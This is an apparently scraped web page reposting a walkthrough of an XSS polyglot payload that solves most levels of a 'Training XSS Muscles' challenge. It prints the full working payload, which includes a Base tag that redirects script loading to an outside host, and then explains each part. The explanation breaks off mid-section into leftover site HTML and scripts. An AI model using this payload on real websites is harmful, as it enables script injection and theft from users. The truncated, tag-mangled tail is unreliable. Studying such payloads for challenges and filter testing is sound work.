首页 > 文章 > web前端 > Polyglot solve most of Training XSS Muscles Challenge

Polyglot solve most of Training XSS Muscles Challenge

DDD原创: 2024-09-14 10:32:201092浏览

JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

Core Idea:
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the alert() function, in a variety of ways.

Top-Level Concepts:
Polyglot Basics:
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.
Polyglot Sections:
JavaScript Execution with Optional Chaining:

JavaScript://%250Aalert?.(1)//

The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.
alert?.(1) is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().
// terminates the rest of the payload as a comment to avoid errors.
HTML Tag Breakouts:

</Title/</Style/</Script/</textArea/</iFrame/</noScript>

This section attempts to break out of various HTML tags like , <style>, <script>, <textarea>, and others.<br> It ends the tags early (</...>) so that JavaScript can be executed right after the tag, bypassing filtering or restrictions based on tag contexts.<br> It’s compact since it doesn’t close each tag properly; just one closing symbol (>) suffices for all.<br> Quote Breakouts:<br> </p> <pre class="brush:php;toolbar:false">/*'/*\'/*"/*\"/*\/%26apos;)/<br> `<br> <Base> is used for CSP bypass. If the base URL is set to a malicious domain like //X55.is, relative URL references to scripts or assets can trigger cross-origin requests, executing external malicious scripts.<br> /76 is the octal code for >, and it's used to properly close the tag while bypassing filters that escape < and >. This is part of the trick where octal escapes are converted back into characters.<br> HTML Comment Insertion:</p> <p><script>isLogin = 0;</script><script type="text/javascript" src="/static/layui/layui.js"></script><script type="text/javascript" src="/static/js/global.js?4.9.47"></script></div><script src="https://vdse.bdstatic.com//search-video.v1.min.js"></script><link rel='stylesheet' id='_main-css' href='/static/css/viewer.min.css' type='text/css' media='all'/><script type='text/javascript' src='/static/js/viewer.min.js?1'></script><script type='text/javascript' src='/static/js/jquery-viewer.min.js'></script><script>jQuery.fn.wait = function (func, times, interval) { var _times = times || -1, //100次 _interval = interval || 20, //20毫秒每次 _self = this, _selector = this.selector, //选择器 _iIntervalID; //定时器id if( this.length ){ //如果已经获取到了，就直接执行函数 func && func.call(this); } else { _iIntervalID = setInterval(function() { if(!_times) { //是0就退出 clearInterval(_iIntervalID); } _times <= 0 || _times--; //如果是正数就 -- _self = $(_selector); //再次选择 if( _self.length ) { //判断是否取到 func && func.call(_self); clearInterval(_iIntervalID); } }, _interval); } return this; } $("table.syntaxhighlighter").wait(function() { $('table.syntaxhighlighter').append("<p class='cnblogs_code_footer'><span class='cnblogs_code_footer_icon'></span></p>"); }); $(document).on("click", ".cnblogs_code_footer",function(){ $(this).parents('table.syntaxhighlighter').css('display','inline-table');$(this).hide(); }); $('.nphpQianCont').viewer({navbar:true,title:false,toolbar:false,movable:false,viewed:function(){$('img').click(function(){$('.viewer-close').trigger('click');});}}); </script></body></html>